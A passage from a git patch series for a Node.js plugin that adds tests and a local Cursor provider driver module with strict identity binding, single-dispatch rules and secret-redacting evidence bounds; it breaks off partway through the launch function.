candidate README bytes for the command', async () => { + await withHarness(async ({ request, candidate }) => { + const receipt = await executeConstrainedVerificationV1(request); + assert.equal(receipt.outcome.result, 'pass'); + const original = await readFile(path.join(candidate, 'README'), 'utf8'); + assert.equal(original, 'p16c\n'); + }); +}); + +test('host cat of copied README observes candidate content without mutating the source', async () => { + const { createHash } = await import('node:crypto'); + await withHarness(async ({ candidate, head }) => { + const request = genuineRequest({ + policy: policyForExecutable('/usr/bin/cat', { argv_template: ['README'] }), + executable: '/usr/bin/cat', + candidate: { repository: candidate, expected_head_sha: head, expected_base_sha: head }, + }); + const receipt = await executeConstrainedVerificationV1(request); + assert.equal(receipt.outcome.result, 'pass'); + assert.equal(receipt.outcome.exit_code, 0); + const expected = createHash('sha256').update('p16c\n', 'utf8').digest('hex'); + assert.equal(receipt.outcome.stdout_digest, expected); + assert.equal(await readFile(path.join(candidate, 'README'), 'utf8'), 'p16c\n'); + assert.equal(receipt.candidate_audit.unchanged, true); + }); +}); From c6a231be773359bca6cc3712c807bdc6504189c0 Mon Sep 17 00:00:00 2001 From: ox-alpha Date: Sun, 23 Aug 2026 17:28:29 +0000 Subject: [PATCH 086/151] feat(provider): add the cursor-local driver lifecycle Bind the accepted P17 ProviderDriverV1 contract to an injected local Cursor session transport. One spawn and one acknowledged prompt dispatch per lane keep pre-spawn not_sent strictly distinct from post-spawn dispatch_uncertain; exact provider/model/session/repository/base/run/ assignment/envelope provenance is bound on every request with no omitted- field derivation or substitution. Same-session attention replies are attempt-once and bound to the exact session/question/answer; cancel, reattach, reconcile, restart, the terminal latch, and already-terminal behavior preserve identity and never bind an uncorrelated session. All host-visible evidence flows through a persistent per-lane redaction window and UTF-8 byte bounds so signatures cannot recombine across leaves, chunks, events, or reconciliations; every error surface stays closed and content-free. Managed local worktrees and run_base_sha only. Offline coverage lives in r1-cursor-local-driver with the scripted r1-cursor-local-transport fixture. --- .../mcp/v3/cursor-local-driver.mjs | 1117 +++++++++++++++++ .../fixtures/r1-cursor-local-transport.mjs | 335 +++++ .../test/r1-cursor-local-driver.test.mjs | 407 ++++++ 3 files changed, 1859 insertions(+) create mode 100644 plugins/codex-co-engineer/mcp/v3/cursor-local-driver.mjs create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-cursor-local-transport.mjs create mode 100644 plugins/codex-co-engineer/test/r1-cursor-local-driver.test.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/cursor-local-driver.mjs b/plugins/codex-co-engineer/mcp/v3/cursor-local-driver.mjs new file mode 100644 index 0000000..7890952 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/cursor-local-driver.mjs @@ -0,0 +1,1117 @@ +// CursorLocalDriverV1 — local Cursor provider driver (P19 reconstruction). +// +// Additive v3 module. It binds the accepted P17 ProviderDriverV1 contract +// (four operations, exact ChildEnvelopeV1 proof, honest P05 capability +// declaration, process-local transitions) to an injected local session +// transport. It owns no provider transport of its own and claims none. +// +// Invariants enforced here, on top of the P17 validators this module calls +// as its single content-free quarantine: +// - exact provenance binding: provider `cursor-local`, the resolved +// model, repository path, run/assignment/lane identity, base sha, and +// child envelope digest must all be present and equal on every +// request; omitted fields are never derived and near-misses never +// substitute; +// - at most one spawn and at most one prompt dispatch per lane; the +// `dispatched` disposition requires the transport's authoritative +// acknowledgement; a pre-send spawn failure stays `not_sent` and is +// kept strictly distinct from post-spawn `dispatch_uncertain`; +// - same-session attention replies are attempt-once and bound to the +// exact session, question, and answer; an unsupported reply posture +// refuses explicitly without touching the transport; +// - cancel, reattach, reconcile, restart, the terminal latch, and +// already-terminal behavior preserve exact lane identity and never +// bind an uncorrelated session; +// - every host-visible progress/event/evidence leaf is bounded by UTF-8 +// bytes and redacted through one persistent per-lane window so secret, +// token, Bearer, API-key, envelope-digest, and prompt signatures +// cannot recombine across leaves, chunks, events, or reconciliations; +// - every error surface is closed and content-free: hostile names and +// values never appear in codes, paths, or messages; +// - managed local worktrees and run_base_sha only: no direct-mode +// widening, supervisor/registry/server cutover, durable store, or +// protected-ref mutation. Legacy 3.2.1 behavior and public receipts +// are untouched. + +import { Buffer as NodeBuffer } from 'node:buffer'; +import { timingSafeEqual as cryptoTimingSafeEqual } from 'node:crypto'; +import { types as utilTypes } from 'node:util'; + +import { + capturedDefineProperty, + capturedDescriptor, + capturedFreeze, + capturedIncludes, + capturedIsArray, + capturedJoin, + capturedTest, + capturedUtf8ByteLength, +} from './grammar.mjs'; +import { IDENTITY_LABELS } from './identity.mjs'; +import { parseChildEnvelopeV1 } from './prompt-compiler.mjs'; +import { + DRIVER_RESULT_SCHEMA_IDS, + PROVIDER_DRIVER_VERSION, + validateDriverCancelRequestV1, + validateDriverCancelResultV1, + validateDriverDeclarationV1, + validateDriverLaunchRequestV1, + validateDriverLaunchResultV1, + validateDriverPreflightRequestV1, + validateDriverPreflightResultV1, + validateDriverReconcileRequestV1, + validateDriverReconcileResultV1, +} from './provider-driver.mjs'; +import { + assertDirectJsonClosure, + assertNotProxy, + assertPlainObject, + fail, + freezeData, + hasOwn, + identityBoundDigest, + optOwn, + ownDataValue, +} from './selection-json.mjs'; + +export { PROVIDER_DRIVER_VERSION }; + +export const CURSOR_LOCAL_DRIVER_SCHEMA_ID = 'codex-co-engineer.cursor-local-driver.v1'; +export const CURSOR_LOCAL_PROVIDER = 'cursor-local'; + +const STRING = String; +const IS_PROXY = utilTypes.isProxy; +const TIMING_SAFE_EQUAL = cryptoTimingSafeEqual; +const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); +const OBJECT_FREEZE = Object.freeze; + +export const CURSOR_LOCAL_OPTION_KEYS = capturedFreeze([ + 'declaration', 'model', 'run_base_sha', 'transport', 'workspace_root', +]); + +export const CURSOR_LOCAL_TRANSPORT_METHODS = capturedFreeze([ + 'availability', 'cancel', 'observe', 'reply', 'send', 'spawn', +]); + +export const CURSOR_LOCAL_EVIDENCE_REQUEST_SCHEMA_ID = + 'codex-co-engineer.cursor-local-evidence-request.v1'; +export const CURSOR_LOCAL_EVIDENCE_SCHEMA_ID = 'codex-co-engineer.cursor-local-evidence.v1'; +export const CURSOR_LOCAL_REPLY_REQUEST_SCHEMA_ID = + 'codex-co-engineer.cursor-local-reply.v1'; +export const CURSOR_LOCAL_REPLY_RESULT_SCHEMA_ID = + 'codex-co-engineer.cursor-local-reply-result.v1'; + +export const CURSOR_LOCAL_EVIDENCE_REQUEST_KEYS = capturedFreeze([ + 'child_envelope_digest', 'envelope_text', 'schema', 'version', +]); +export const CURSOR_LOCAL_REPLY_REQUEST_KEYS = capturedFreeze([ + 'answer_text', 'child_envelope_digest', 'envelope_text', 'question_id', + 'schema', 'session_id', 'version', +]); + +export const EVIDENCE_KINDS = capturedFreeze(['attention', 'event', 'progress']); +export const OBSERVE_STATUSES = capturedFreeze(['attention', 'completed', 'failed', 'running']); +export const CANCEL_OUTCOMES = capturedFreeze(['confirmed', 'requested']); + +// The only send failure that proves "nothing was written" is the explicit +// closed code below. Every other failure after a successful spawn is +// honestly reported as dispatch_uncertain instead of not_sent. +export const TRANSPORT_PRE_WRITE_FAILURE_CODE = 'pre_write_failure'; +export const TRANSPORT_FAILURE_CODES = capturedFreeze([TRANSPORT_PRE_WRITE_FAILURE_CODE]); + +export const MODEL_ID_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._/-]{0,127}$/u; +export const SHA40_PATTERN = /^[0-9a-f]{40}$/u; +export const SESSION_ID_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._:-]{0,127}$/u; +export const QUESTION_ID_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._:-]{0,127}$/u; +export const WORKSPACE_ROOT_PATTERN = /^\/[A-Za-z0-9._/-]*$/u; + +export const MAX_ANSWER_BYTES = 16 * 1024; +export const MAX_EVIDENCE_EVENTS = 64; +export const MAX_EVIDENCE_SEGMENT_BYTES = 8 * 1024; +export const MAX_LANE_EVIDENCE_BYTES = 64 * 1024; +export const REDACTION_CARRY_CHARS = 256; +export const REDACTION_SLICE_CHARS = 4096; + +export const REDACTED_MARKER = '[REDACTED]'; + +// Closed signature vocabulary. Matches are replaced wholesale inside the +// persistent carry window, so a signature split across chunks, leaves, +// events, or reconciliations recombines only inside the window and is then +// redacted before any host-visible byte exists. +const SIGNATURE_PATTERNS = capturedFreeze([ + /\bBearer\s+[A-Za-z0-9._~+/=-]+/giu, + /\bBasic\s+[A-Za-z0-9._~+/=-]+/giu, + /\b(?:sk|xai)-[A-Za-z0-9_-]{8,}\b/giu, + /\b(?:gh[pousr]|github_pat)_[A-Za-z0-9_-]{8,}\b/giu, + /\b(?:AKIA|ASIA)[A-Z0-9]{16}\b/giu, + /\b(?:api[_-]?key|authorization|access[_-]?token|refresh[_-]?token|bearer|token|password|secret|cookie|credential|private[_-]?key)(?:\s*[:=]\s*)\s*(?:"[^"]*"|'[^']*'|[^\s,;&'"]+)/giu, +]); + +function safeErrorCode(error) { + // Reading properties off a thrown value may itself throw or run caller + // code (getters, proxy traps). Only a plain own data property whose value + // is exactly one closed code is ever honored; everything else fails + // closed as post-spawn uncertainty. + if (error === null || (typeof error !== 'object' && typeof error !== 'function')) { + return undefined; + } + try { + const descriptor = capturedDescriptor(error, 'code'); + if (!descriptor || descriptor.get !== undefined || descriptor.set !== undefined) { + return undefined; + } + const value = descriptor.value; + return typeof value === 'string' && capturedIncludes(TRANSPORT_FAILURE_CODES, value) + ? value + : undefined; + } catch { + return undefined; + } +} + +function digestsEqual(left, right) { + if (typeof left !== 'string' || typeof right !== 'string') return false; + if (left.length !== right.length) return false; + try { + return TIMING_SAFE_EQUAL(BUFFER_FROM(left, 'utf8'), BUFFER_FROM(right, 'utf8')); + } catch { + return false; + } +} + +function cutUtf8Bytes(text, maxBytes) { + if (maxBytes <= 0) return ''; + if (capturedUtf8ByteLength(text) <= maxBytes) return text; + const buffer = BUFFER_FROM(text, 'utf8'); + let cut = maxBytes; + while (cut > 0 && (buffer[cut] & 0xc0) === 0x80) cut -= 1; + return buffer.subarray(0, cut).toString('utf8'); +} + +function redactSignatures(text) { + let redacted = text; + for (let index = 0; index < SIGNATURE_PATTERNS.length; index += 1) { + redacted = redacted.replace(SIGNATURE_PATTERNS[index], REDACTED_MARKER); + } + return redacted; +} + +// Persistent per-lane redaction window. Pieces enter in order; a bounded +// tail is withheld until the next piece arrives, so signatures split +// across pieces recombine inside the window and are redacted there. The +// window stays open for the life of the lane (including across reconcile +// calls); it is flushed once, when the lane reaches its terminal latch. +function createRedactionWindow() { + let carry = ''; + let sealed = false; + return freezeData({ + push(piece) { + if (sealed || typeof piece !== 'string' || piece.length === 0) return ''; + const combined = carry + piece; + if (combined.length <= REDACTION_CARRY_CHARS) { + carry = combined; + return ''; + } + const emitLength = combined.length - REDACTION_CARRY_CHARS; + carry = combined.slice(emitLength); + return redactSignatures(combined.slice(0, emitLength)); + }, + flush() { + if (sealed) return ''; + sealed = true; + return carry.length === 0 ? '' : redactSignatures(carry); + }, + }); +} + +// Bounded evidence sink. All host-visible text funnels through the lane's +// redaction window first, then through UTF-8 byte bounds per segment and +// per lane. Overflow sets `truncated` and drops further input silently: +// bounding failures are never errors and never leak content. +function createEvidenceSink() { + const segments = []; + const state = { + current: '', + currentBytes: 0, + currentKind: undefined, + seq: 0, + totalBytes: 0, + truncated: false, + }; + function sealCurrent() { + if (state.currentKind === undefined) return; + capturedDefineProperty(segments, STRING(state.seq), { + value: freezeData({ + bytes: state.currentBytes, + kind: state.currentKind, + seq: state.seq, + text: state.current, + }), + enumerable: true, + configurable: false, + writable: false, + }); + segments.length = state.seq + 1; + state.seq += 1; + state.current = ''; + state.currentBytes = 0; + state.currentKind = undefined; + } + function ingest(text, kind) { + if (state.truncated || typeof text !== 'string' || text.length === 0) return; + let remaining = text; + while (remaining.length > 0) { + if (segments.length >= MAX_EVIDENCE_EVENTS + || state.totalBytes >= MAX_LANE_EVIDENCE_BYTES) { + state.truncated = true; + return; + } + if (state.currentKind !== undefined + && (state.currentKind !== kind || state.currentBytes >= MAX_EVIDENCE_SEGMENT_BYTES)) { + sealCurrent(); + continue; + } + const room = Math.min( + MAX_LANE_EVIDENCE_BYTES - state.totalBytes, + MAX_EVIDENCE_SEGMENT_BYTES - state.currentBytes, + ); + if (room <= 0) { + state.truncated = true; + return; + } + const piece = cutUtf8Bytes(remaining, room); + state.current += piece; + const pieceBytes = capturedUtf8ByteLength(piece); + state.currentBytes += pieceBytes; + state.totalBytes += pieceBytes; + if (state.currentKind === undefined) state.currentKind = kind; + remaining = remaining.slice(piece.length); + } + } + return freezeData({ + ingest, + drain() { + sealCurrent(); + return freezeData({ + events: freezeData([...segments]), + total_bytes: state.totalBytes, + truncated: state.truncated, + }); + }, + }); +} + +function requireExactString(source, key, path, pattern, code) { + const value = optOwn(source, key); + if (typeof value !== 'string' || !capturedTest(pattern, value)) { + fail(code ?? 'invalid_format', `${path}.${key}`, + `${path}.${key} is missing or outside the closed grammar.`); + } + return value; +} + +function readTransportResult(result, path) { + // One structural quarantine for every transport result: proxies, + // accessors, symbols, non-enumerables, exotic prototypes, sparse arrays, + // cycles, aliases, and unknown shapes are rejected without running any + // caller code, before a single field is read. + if (result === null || result === undefined) { + fail('invalid_transport_result', path, 'The transport returned no result object.'); + } + assertNotProxy(result, path); + assertDirectJsonClosure(result, path); + assertPlainObject(result, 'invalid_transport_result', path, path); + return result; +} + +function requireBindingEcho(result, expectedDigest, path) { + const echo = optOwn(result, 'binding_digest'); + if (typeof echo !== 'string' || !digestsEqual(echo, expectedDigest)) { + fail('uncorrelated_session', `${path}.binding_digest`, + 'The transport session did not echo the exact lane binding digest.'); + } + return echo; +} + +function requireSessionEcho(result, expectedSessionId, path) { + const echo = optOwn(result, 'session_id'); + if (typeof echo !== 'string' || echo !== expectedSessionId) { + fail('uncorrelated_session', `${path}.session_id`, + 'The transport session id does not match the exact spawned session.'); + } + return echo; +} + +function callTransport(transportMethods, methodName, argument) { + let produced; + try { + produced = transportMethods[methodName](argument); + } catch (error) { + return { ok: false, error }; + } + if (produced instanceof Promise || (produced !== null && typeof produced === 'object' + && typeof produced.then === 'function')) { + // The P19 surface is synchronous and process-local. A promise-returning + // transport would make dispatch certainty unobservable, so it is + // rejected before any await can hide an ambiguous send. + return { ok: false, error: new Error('transport returned a promise') }; + } + return { ok: true, value: produced }; +} + +function buildLaneBindingDigest(view, model) { + return identityBoundDigest(IDENTITY_LABELS.PROVIDER_RUN_IDENTITY, { + assignment_id: view.envelope.assignment_id, + base_sha: view.envelope.repository.base_sha, + child_envelope_digest: `sha256:${view.child_envelope_digest}`, + lane_index: view.envelope.lane_index, + model, + provider: CURSOR_LOCAL_PROVIDER, + repository_path: view.envelope.repository.path, + run_id: view.envelope.run_id, + }); +} + +function laneKeyFor(view) { + return `${view.envelope.run_id}\u0000${view.envelope.assignment_id}`; +} + +function assertAttentionQuestionShape(question, path) { + assertPlainObject(question, 'invalid_transport_result', path, path); + const keys = Object.keys(question).sort(); + if (keys.length !== 2 || keys[0] !== 'question_id' || keys[1] !== 'question_text') { + fail('invalid_transport_result', path, + 'An attention question must carry exactly question_id and question_text.'); + } + requireExactString(question, 'question_id', path, QUESTION_ID_PATTERN, + 'invalid_transport_result'); + const text = optOwn(question, 'question_text'); + if (typeof text !== 'string' || text.length === 0) { + fail('invalid_transport_result', `${path}.question_text`, + 'An attention question must carry non-empty question text.'); + } +} + +export function describeCursorLocalDriverV1() { + return capturedFreeze({ + schema: CURSOR_LOCAL_DRIVER_SCHEMA_ID, + version: PROVIDER_DRIVER_VERSION, + provider: CURSOR_LOCAL_PROVIDER, + operations: capturedFreeze(['preflight', 'launch', 'reconcile', 'cancel']), + transports: capturedFreeze([]), + transport_methods: CURSOR_LOCAL_TRANSPORT_METHODS, + transport_mode: 'injected_local_session_seam', + workspace_semantics: 'local_managed_worktree', + workspace_starting_point: 'run_base_sha', + replay_posture: 'never_replay', + relaunch_operations: capturedFreeze([]), + direct_mode: capturedFreeze([]), + durable_store: false, + bounds: freezeData({ + max_answer_bytes: MAX_ANSWER_BYTES, + max_evidence_events: MAX_EVIDENCE_EVENTS, + max_evidence_segment_bytes: MAX_EVIDENCE_SEGMENT_BYTES, + max_lane_evidence_bytes: MAX_LANE_EVIDENCE_BYTES, + }), + evidence_kinds: EVIDENCE_KINDS, + observe_statuses: OBSERVE_STATUSES, + cancel_outcomes: CANCEL_OUTCOMES, + }); +} + +function quarantineControlRequest(request, allowedKeys, schemaId, path) { + if (request === null || request === undefined) { + fail('invalid_type', path, `${path} must be a plain request object.`); + } + assertNotProxy(request, path); + assertDirectJsonClosure(request, path); + assertPlainObject(request, 'invalid_type', path, path); + for (const key of Object.keys(request)) { + if (!capturedIncludes(allowedKeys, key)) { + fail('unknown_key', `${path}.${key}`, + `${path} carries a key outside the closed schema.`); + } + } + for (const key of allowedKeys) { + if (!hasOwn(request, key)) { + fail('missing_key', `${path}.${key}`, `${path}.${key} is required; nothing is derived.`); + } + } + if (optOwn(request, 'schema') !== schemaId) { + fail('schema_mismatch', `${path}.schema`, `${path}.schema must be exactly "${schemaId}".`); + } + if (optOwn(request, 'version') !== PROVIDER_DRIVER_VERSION) { + fail('invalid_format', `${path}.version`, + `${path}.version must be exactly ${PROVIDER_DRIVER_VERSION}.`); + } + return request; +} + +function resolveControlLane(request, lanes, options, path) { + const parsed = parseChildEnvelopeV1(optOwn(request, 'envelope_text')); + const digest = requireExactString(request, 'child_envelope_digest', path, /^[0-9a-f]{64}$/u); + const key = `${parsed.run_id}\u0000${parsed.assignment_id}`; + const lane = lanes.get(key); + if (lane === undefined || !digestsEqual(lane.childEnvelopeDigest, digest)) { + fail('unknown_lane', `${path}.child_envelope_digest`, + 'No live lane is bound to this exact child envelope digest.'); + } + if (parsed.repository.base_sha !== options.runBaseSha + || parsed.execution.provider !== CURSOR_LOCAL_PROVIDER + || parsed.execution.model !== options.model) { + fail('stale_identity_denied', `${path}.envelope_text`, + 'The request envelope does not match the exact bound lane identity.'); + } + return lane; +} + +function assertProvenanceBound(view, options, path) { + const execution = view.envelope.execution; + if (execution.provider !== CURSOR_LOCAL_PROVIDER) { + fail('provider_slot_mismatch', `${path}.envelope_text`, + `The cursor-local driver binds only exact "${CURSOR_LOCAL_PROVIDER}" envelopes; ` + + 'unresolved or foreign provider slots are refused.'); + } + if (typeof execution.model !== 'string' || execution.model.length === 0) { + fail('model_unresolved', `${path}.envelope_text`, + 'The envelope carries no exact model; omitted models are never derived.'); + } + if (execution.model !== options.model) { + fail('model_substitution_denied', `${path}.envelope_text`, + 'The envelope model does not equal the exact bound model; substitution is denied.'); + } + if (view.envelope.repository.base_sha !== options.runBaseSha) { + fail('base_sha_substitution_denied', `${path}.envelope_text`, + 'The envelope base sha does not equal the exact run base sha; retargeting is denied.'); + } +} + +function requireFeature(declaration, feature, path) { + if (declaration.features[feature] === 'unsupported') { + fail('unsupported_capability', path, + `Feature "${feature}" is declared unsupported; the driver fails closed with no fallback.`); + } +} + +const DETAIL_MESSAGES = freezeData({ + dispatch_not_written: freezeData({ + detail_code: 'dispatch_not_written', + detail_message: 'The transport guaranteed that no prompt bytes were written; ' + + 'nothing reached the provider.', + }), + spawn_unavailable: freezeData({ + detail_code: 'spawn_unavailable', + detail_message: 'The cursor-local session could not be spawned; no prompt was dispatched.', + }), + transport_unavailable: freezeData({ + detail_code: 'transport_unavailable', + detail_message: 'The cursor-local transport reported no availability for this host.', + }), +}); + +const DETAIL_FOR = freezeData({ + launch_not_sent_spawn: DETAIL_MESSAGES.spawn_unavailable, + launch_not_sent_prewrite: DETAIL_MESSAGES.dispatch_not_written, + preflight_blocked: DETAIL_MESSAGES.transport_unavailable, +}); + +export function createCursorLocalDriverV1(options) { + const path = 'cursor_local_driver.options'; + if (options === null || options === undefined) { + fail('invalid_type', path, 'Driver options are required; nothing is defaulted.'); + } + + // Single content-free structural quarantine over the options. The JSON + // leaves are closed directly; the transport is validated separately as a + // plain concrete-method object so its functions never enter the JSON + // closure. Neither pass ever invokes caller code. + assertNotProxy(options, path); + assertPlainObject(options, 'invalid_type', path, path); + for (const key of Object.keys(options)) { + if (!capturedIncludes(CURSOR_LOCAL_OPTION_KEYS, key)) { + fail('unknown_key', `${path}.${key}`, `${path} carries a key outside the closed option set.`); + } + } + for (const key of ['declaration', 'model', 'run_base_sha', 'transport']) { + if (!hasOwn(options, key)) { + fail('missing_key', `${path}.${key}`, `${path}.${key} is required.`); + } + } + for (const key of ['declaration', 'model', 'run_base_sha', 'workspace_root']) { + if (hasOwn(options, key)) assertDirectJsonClosure(ownDataValue(options, key, `${path}.${key}`), `${path}.${key}`); + } + + const declaration = validateDriverDeclarationV1(optOwn(options, 'declaration')); + if (declaration.capability.provider !== CURSOR_LOCAL_PROVIDER) { + fail('provider_mismatch', `${path}.declaration.capability.provider`, + `The cursor-local driver requires the exact "${CURSOR_LOCAL_PROVIDER}" capability slot.`); + } + if (declaration.capability.workspace_semantics !== 'local_managed_worktree' + || declaration.capability.workspace_starting_point !== 'run_base_sha') { + fail('capability_workspace_mismatch', `${path}.declaration.capability`, + 'Only managed local worktrees started from the run base sha are in scope.'); + } + if (declaration.capability.replay_posture !== 'never_replay') { + fail('invalid_replay_posture', `${path}.declaration.capability.replay_posture`, + 'The cursor-local driver never replays a dispatched prompt.'); + } + if (!capturedIncludes(['confirmed_launch', 'uncertain_after_spawn'], + declaration.capability.dispatch_certainty)) { + fail('capability_dispatch_certainty_mismatch', + `${path}.declaration.capability.dispatch_certainty`, + 'Dispatch certainty must name a closed P05 posture.'); + } + if (!capturedIncludes(['live_session_reply', 'unsupported_unresolved_attention'], + declaration.capability.same_session_reply)) { + fail('capability_reply_mismatch', `${path}.declaration.capability.same_session_reply`, + 'Same-session reply must name a closed P05 posture.'); + } + + const model = requireExactString(options, 'model', path, MODEL_ID_PATTERN, 'invalid_model'); + const runBaseSha = requireExactString(options, 'run_base_sha', path, SHA40_PATTERN, + 'invalid_run_base_sha'); + const workspaceRoot = hasOwn(options, 'workspace_root') + ? requireExactString(options, 'workspace_root', path, WORKSPACE_ROOT_PATTERN, + 'invalid_workspace_root') + : undefined; + + const transportPath = `${path}.transport`; + const transportInput = optOwn(options, 'transport'); + if (transportInput !== null && (typeof transportInput === 'object' + || typeof transportInput === 'function') && IS_PROXY(transportInput)) { + fail('proxy_denied', transportPath, + 'The transport is a live or revoked Proxy; concrete method objects only.'); + } + if (transportInput === null || typeof transportInput !== 'object' + || capturedIsArray(transportInput)) { + fail('invalid_type', transportPath, 'The transport must be a plain object of methods.'); + } + let transportPrototype; + try { + transportPrototype = Object.getPrototypeOf(transportInput); + } catch { + fail('exotic_prototype_denied', transportPath, 'The transport prototype rejected inspection.'); + } + if (transportPrototype !== Object.prototype && transportPrototype !== null) { + fail('exotic_prototype_denied', transportPath, + 'The transport must use the standard or null prototype.'); + } + const transportKeys = Object.keys(transportInput).sort(); + const expectedKeys = [...CURSOR_LOCAL_TRANSPORT_METHODS].sort(); + if (transportKeys.length !== expectedKeys.length + || transportKeys.some((key, index) => key !== expectedKeys[index])) { + fail('invalid_surface', transportPath, + `The transport must expose exactly ${capturedJoin(CURSOR_LOCAL_TRANSPORT_METHODS, ', ')}.`); + } + const transportMethods = {}; + for (const method of CURSOR_LOCAL_TRANSPORT_METHODS) { + const descriptor = Object.getOwnPropertyDescriptor(transportInput, method); + if (!descriptor || !descriptor.enumerable || descriptor.get !== undefined + || descriptor.set !== undefined || typeof descriptor.value !== 'function' + || IS_PROXY(descriptor.value)) { + fail('invalid_operation', `${transportPath}.${method}`, + `Transport ${method} must be a plain concrete function.`); + } + transportMethods[method] = descriptor.value; + } + + // Detached, fully validated configuration. No live caller object is kept: + // nothing can mutate a validated value back into an unvalidated one. + const config = freezeData({ model, runBaseSha, workspaceRoot }); + + const lanes = new Map(); + + function laneFromView(view) { + const key = laneKeyFor(view); + const digestHex = view.child_envelope_digest; + const existing = lanes.get(key); + if (existing !== undefined && !digestsEqual(existing.childEnvelopeDigest, digestHex)) { + fail('stale_identity_denied', 'driver.request.child_envelope_digest', + 'The request envelope digest does not match the exact child previously bound to this lane.'); + } + if (existing !== undefined) return existing; + const lane = { + assignmentId: view.envelope.assignment_id, + bindingDigest: buildLaneBindingDigest(view, model), + childEnvelopeDigest: digestHex, + evidence: null, + laneIndex: view.envelope.lane_index, + phase: { + acked: false, + replyAttempts: 0, + replyOutcome: undefined, + sendAttempted: false, + sendUncertain: false, + spawned: false, + sessionId: undefined, + }, + question: undefined, + repositoryPath: view.envelope.repository.path, + runId: view.envelope.run_id, + state: 'absent', + terminalReason: undefined, + window: createRedactionWindow(), + }; + lanes.set(key, lane); + return lane; + } + + function ensureEvidenceSink(lane) { + if (lane.evidence === null) lane.evidence = createEvidenceSink(); + return lane.evidence; + } + + function ingestVisibleText(lane, sink, text, kind) { + let pending = typeof text === 'string' ? text : ''; + while (pending.length > 0) { + let head = pending.slice(0, REDACTION_SLICE_CHARS); + // Never split a UTF-16 surrogate pair at the slice boundary: the + // redaction window must see whole characters or its emitted bytes + // could disagree with the bounded byte accounting. + if (head.length === REDACTION_SLICE_CHARS) { + const last = head.charCodeAt(head.length - 1); + if (last >= 0xd800 && last <= 0xdbff) head = head.slice(0, -1); + } + pending = pending.slice(head.length); + const emitted = lane.window.push(head); + if (emitted.length > 0) sink.ingest(emitted, kind); + } + } + + function flushLaneWindow(lane) { + if (lane.evidence === null && lane.windowFlushed) return; + lane.windowFlushed = true; + const emitted = lane.window.flush(); + if (emitted.length > 0) { + const sink = ensureEvidenceSink(lane); + sink.ingest(emitted, 'event'); + } + } + + function receiptFor(operation, view, disposition, detail) { + const receipt = { + schema: DRIVER_RESULT_SCHEMA_IDS[operation], + version: PROVIDER_DRIVER_VERSION, + run_id: view.envelope.run_id, + assignment_id: view.envelope.assignment_id, + lane_index: view.envelope.lane_index, + base_sha: view.envelope.repository.base_sha, + child_envelope_digest: view.child_envelope_digest, + disposition, + }; + if (detail !== undefined) { + receipt.detail_code = detail.detail_code; + receipt.detail_message = detail.detail_message; + } + return receipt; + } + + const driver = {}; + + capturedDefineProperty(driver, 'preflight', { + configurable: false, + enumerable: true, + value: function preflight(request) { + const view = validateDriverPreflightRequestV1(request); + assertProvenanceBound(view, config, 'driver.preflight.request'); + const lane = laneFromView(view); + if (!(lane.state === 'absent' || lane.state === 'ready' || lane.state === 'blocked' + || lane.state === 'not_sent')) { + fail('invalid_transition', 'driver.preflight.request', + 'Preflight cannot run after a prompt may have been dispatched.'); + } + if (lane.state === 'ready' || lane.state === 'blocked') { + return validateDriverPreflightResultV1( + receiptFor('preflight', view, lane.state, + lane.state === 'blocked' ? DETAIL_FOR.preflight_blocked : undefined), + request, declaration, + ); + } + const probe = freezeData({ binding_digest: lane.bindingDigest }); + const outcome = callTransport(transportMethods, 'availability', probe); + if (!outcome.ok) { + lane.state = 'blocked'; + return validateDriverPreflightResultV1( + receiptFor('preflight', view, 'blocked', DETAIL_FOR.preflight_blocked), + request, declaration, + ); + } + const availability = readTransportResult(outcome.value, 'driver.preflight.availability.result'); + const available = optOwn(availability, 'available'); + if (available !== true && available !== false) { + fail('invalid_transport_result', 'driver.preflight.availability.result.available', + 'Transport availability must be exactly true or false.'); + } + lane.state = available ? 'ready' : 'blocked'; + return validateDriverPreflightResultV1( + receiptFor('preflight', view, lane.state, + available ? undefined : DETAIL_FOR.preflight_blocked), + request, declaration, + ); + }, + }); + + capturedDefineProperty(driver, 'launch', { + configurable: false, + enumerable: true, + value: function launch(request) { + const view = validateDriverLaunchRequestV1(request); + assertProvenanceBound(view, config, 'driver.launch.request'); + const lane = laneFromView(view); + if (lane.state === 'absent') { + fail('not_preflighted', 'driver.launch.request', + 'Launch requires a prior preflight:ready result for this exact child identity.'); + } + if (lane.state === 'blocked') { + fail('blocked_lane_denied', 'driver.launch.request', + 'A blocked preflight cannot launch; the lane fails closed with no fallback.'); + } + if (lane.phase.spawned || lane.phase.sendAttempted) { + fail('replay_denied', 'driver.launch.request', + 'This lane already spawned or dispatched; prompts are never replayed.'); + } + const spawnRequest = freezeData({ + assignment_id: lane.assignmentId, + base_sha: config.runBaseSha, + binding_digest: lane.bindingDigest, + lane_index: lane.laneIndex, + model: config.model, + repository_path: lane.repositoryPath, + run_id: lane.runId, + ...(config.workspaceRoot !== undefined ? { workspace_root: config.workspaceRoot } : {}), + }); + const spawnOutcome = callTransport(transportMethods, 'spawn', spawnRequest); + if (!spawnOutcome.ok) { + lane.state = 'not_sent'; + return validateDriverLaunchResultV1( + receiptFor('launch', view, 'not_sent', DETAIL_FOR.launch_not_sent_spawn), + request, declaration, + ); + } + const spawned = readTransportResult(spawnOutcome.value, 'driver.launch.spawn.result'); + const sessionId = requireExactString(spawned, 'session_id', 'driver.launch.spawn.result', + SESSION_ID_PATTERN, 'invalid_transport_result'); + requireBindingEcho(spawned, lane.bindingDigest, 'driver.launch.spawn.result'); + lane.phase.spawned = true; + lane.phase.sessionId = sessionId; + lane.state = 'spawned'; + + // Exactly one dispatch attempt per lane, forever. + lane.phase.sendAttempted = true; + const sendRequest = freezeData({ + binding_digest: lane.bindingDigest, + prompt_utf8_bytes: capturedUtf8ByteLength(view.request.envelope_text), + prompt_text: view.request.envelope_text, + session_id: sessionId, + }); + const sendOutcome = callTransport(transportMethods, 'send', sendRequest); + if (!sendOutcome.ok) { + if (safeErrorCode(sendOutcome.error) === TRANSPORT_PRE_WRITE_FAILURE_CODE) { + lane.state = 'not_sent'; + return validateDriverLaunchResultV1( + receiptFor('launch', view, 'not_sent', DETAIL_FOR.launch_not_sent_prewrite), + request, declaration, + ); + } + lane.phase.sendUncertain = true; + lane.state = 'dispatch_uncertain'; + return 